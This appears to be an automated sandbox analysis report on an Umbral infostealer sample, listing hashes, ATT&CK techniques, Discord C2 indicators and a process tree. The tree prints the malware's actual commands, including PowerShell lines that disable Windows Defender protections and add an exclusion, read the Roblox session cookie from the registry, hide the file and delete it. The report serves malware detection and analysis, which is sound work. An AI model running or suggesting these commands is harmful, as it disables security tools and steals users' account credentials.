umbral | 18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922

Analysis

max time kernel
134s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
05-09-2024 05:52

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General

Target

18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe
Size

231KB
MD5

2e5358fcd0403cf1c6dd36a32952d9ea
SHA1

cb03dcf965d79b39657643469b6bbdec205c0a22
SHA256

18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922
SHA512

0bc336ebad20497f6d8a89db417106ae0f306bd34588e1118b6d82b1da63890ab7ef35b646d259ac78d7c92bc3fcf87d96596f9c61de31910c7d2c4a3ebfaaac
SSDEEP

6144:xloZMarIkd8g+EtXHkv/iD4kNJe5nsAvEOXZkQlzIb8e1m2P7Ai:DoZhL+EP8kNJe5nsAvEOXZkQlE57Z

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3624-1-0x0000027CA8B30000-0x0000027CA8B70000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1048	powershell.exe
4308	powershell.exe
3496	powershell.exe
3848	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
21	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1336	cmd.exe
2396	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2596	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2396	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe
3848	powershell.exe
3848	powershell.exe
3496	powershell.exe
3496	powershell.exe
1048	powershell.exe
1048	powershell.exe
2788	powershell.exe
2788	powershell.exe
4308	powershell.exe
4308	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe
Token: SeIncreaseQuotaPrivilege	2208	wmic.exe
Token: SeSecurityPrivilege	2208	wmic.exe
Token: SeTakeOwnershipPrivilege	2208	wmic.exe
Token: SeLoadDriverPrivilege	2208	wmic.exe
Token: SeSystemProfilePrivilege	2208	wmic.exe
Token: SeSystemtimePrivilege	2208	wmic.exe
Token: SeProfSingleProcessPrivilege	2208	wmic.exe
Token: SeIncBasePriorityPrivilege	2208	wmic.exe
Token: SeCreatePagefilePrivilege	2208	wmic.exe
Token: SeBackupPrivilege	2208	wmic.exe
Token: SeRestorePrivilege	2208	wmic.exe
Token: SeShutdownPrivilege	2208	wmic.exe
Token: SeDebugPrivilege	2208	wmic.exe
Token: SeSystemEnvironmentPrivilege	2208	wmic.exe
Token: SeRemoteShutdownPrivilege	2208	wmic.exe
Token: SeUndockPrivilege	2208	wmic.exe
Token: SeManageVolumePrivilege	2208	wmic.exe
Token: 33	2208	wmic.exe
Token: 34	2208	wmic.exe
Token: 35	2208	wmic.exe
Token: 36	2208	wmic.exe
Token: SeIncreaseQuotaPrivilege	2208	wmic.exe
Token: SeSecurityPrivilege	2208	wmic.exe
Token: SeTakeOwnershipPrivilege	2208	wmic.exe
Token: SeLoadDriverPrivilege	2208	wmic.exe
Token: SeSystemProfilePrivilege	2208	wmic.exe
Token: SeSystemtimePrivilege	2208	wmic.exe
Token: SeProfSingleProcessPrivilege	2208	wmic.exe
Token: SeIncBasePriorityPrivilege	2208	wmic.exe
Token: SeCreatePagefilePrivilege	2208	wmic.exe
Token: SeBackupPrivilege	2208	wmic.exe
Token: SeRestorePrivilege	2208	wmic.exe
Token: SeShutdownPrivilege	2208	wmic.exe
Token: SeDebugPrivilege	2208	wmic.exe
Token: SeSystemEnvironmentPrivilege	2208	wmic.exe
Token: SeRemoteShutdownPrivilege	2208	wmic.exe
Token: SeUndockPrivilege	2208	wmic.exe
Token: SeManageVolumePrivilege	2208	wmic.exe
Token: 33	2208	wmic.exe
Token: 34	2208	wmic.exe
Token: 35	2208	wmic.exe
Token: 36	2208	wmic.exe
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeIncreaseQuotaPrivilege	4640	wmic.exe
Token: SeSecurityPrivilege	4640	wmic.exe
Token: SeTakeOwnershipPrivilege	4640	wmic.exe
Token: SeLoadDriverPrivilege	4640	wmic.exe
Token: SeSystemProfilePrivilege	4640	wmic.exe
Token: SeSystemtimePrivilege	4640	wmic.exe
Token: SeProfSingleProcessPrivilege	4640	wmic.exe
Token: SeIncBasePriorityPrivilege	4640	wmic.exe
Token: SeCreatePagefilePrivilege	4640	wmic.exe
Token: SeBackupPrivilege	4640	wmic.exe
Token: SeRestorePrivilege	4640	wmic.exe
Token: SeShutdownPrivilege	4640	wmic.exe
Token: SeDebugPrivilege	4640	wmic.exe
Token: SeSystemEnvironmentPrivilege	4640	wmic.exe
Token: SeRemoteShutdownPrivilege	4640	wmic.exe
Token: SeUndockPrivilege	4640	wmic.exe
Token: SeManageVolumePrivilege	4640	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3624 wrote to memory of 2208	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	87
PID 3624 wrote to memory of 2208	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	87
PID 3624 wrote to memory of 1556	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	92
PID 3624 wrote to memory of 1556	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	92
PID 3624 wrote to memory of 3848	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	94
PID 3624 wrote to memory of 3848	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	94
PID 3624 wrote to memory of 3496	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	97
PID 3624 wrote to memory of 3496	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	97
PID 3624 wrote to memory of 1048	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	99
PID 3624 wrote to memory of 1048	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	99
PID 3624 wrote to memory of 2788	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	103
PID 3624 wrote to memory of 2788	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	103
PID 3624 wrote to memory of 4640	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	106
PID 3624 wrote to memory of 4640	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	106
PID 3624 wrote to memory of 1192	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	108
PID 3624 wrote to memory of 1192	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	108
PID 3624 wrote to memory of 4396	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	110
PID 3624 wrote to memory of 4396	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	110
PID 3624 wrote to memory of 4308	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	112
PID 3624 wrote to memory of 4308	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	112
PID 3624 wrote to memory of 2596	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	114
PID 3624 wrote to memory of 2596	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	114
PID 3624 wrote to memory of 1336	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	116
PID 3624 wrote to memory of 1336	3624	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	116
PID 1336 wrote to memory of 2396	1336	cmd.exe	118
PID 1336 wrote to memory of 2396	1336	cmd.exe	118

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1556	attrib.exe

C:\Users\Admin\AppData\Local\Temp\18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe
"C:\Users\Admin\AppData\Local\Temp\18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3624
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2208
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe"
  2⤵
  - Views/modifies file attributes
  PID:1556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4640
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1192
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4308
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2596
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1336
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c9b6705519e1eef08f86c4ba5f4286f3

SHA1
6c6b179e452ecee2673a1d4fe128f1c06f70577f

SHA256
0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

SHA512
6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2722d0b555dc56e9fd0f0a97f1fc3a8c

SHA1
bf543e07805d830d6ccf663f08bd69bbfe019f52

SHA256
bd0630868d85ed8315b30cd4ace29e756950ef15dd8363ad8f6530779265f2f3

SHA512
5890cd55516272e9679a84dc1e2dfbca2191f26562e05bc509fa886588dde84b7e1dd0b155e048d1d9e99ffd5a75e38cbc1c031b838d5584bb22c8d8202efc0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1yp5b01z.w4t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3624-70-0x0000027CC3250000-0x0000027CC325A000-memory.dmp

Filesize
40KB

Download
memory/3624-35-0x0000027CC3220000-0x0000027CC323E000-memory.dmp

Filesize
120KB

Download
memory/3624-87-0x00007FFB87950000-0x00007FFB88411000-memory.dmp

Filesize
10.8MB

Download
memory/3624-71-0x0000027CC3350000-0x0000027CC3362000-memory.dmp

Filesize
72KB

Download
memory/3624-2-0x00007FFB87950000-0x00007FFB88411000-memory.dmp

Filesize
10.8MB

Download
memory/3624-33-0x0000027CC3260000-0x0000027CC32D6000-memory.dmp

Filesize
472KB

Download
memory/3624-34-0x0000027CC32E0000-0x0000027CC3330000-memory.dmp

Filesize
320KB

Download
memory/3624-0-0x00007FFB87953000-0x00007FFB87955000-memory.dmp

Filesize
8KB

Download
memory/3624-1-0x0000027CA8B30000-0x0000027CA8B70000-memory.dmp

Filesize
256KB

Download
memory/3848-15-0x00007FFB87950000-0x00007FFB88411000-memory.dmp

Filesize
10.8MB

Download
memory/3848-9-0x0000025E78E70000-0x0000025E78E92000-memory.dmp

Filesize
136KB

Download
memory/3848-3-0x00007FFB87950000-0x00007FFB88411000-memory.dmp

Filesize
10.8MB

Download
memory/3848-14-0x00007FFB87950000-0x00007FFB88411000-memory.dmp

Filesize
10.8MB

Download
memory/3848-18-0x00007FFB87950000-0x00007FFB88411000-memory.dmp

Filesize
10.8MB

Download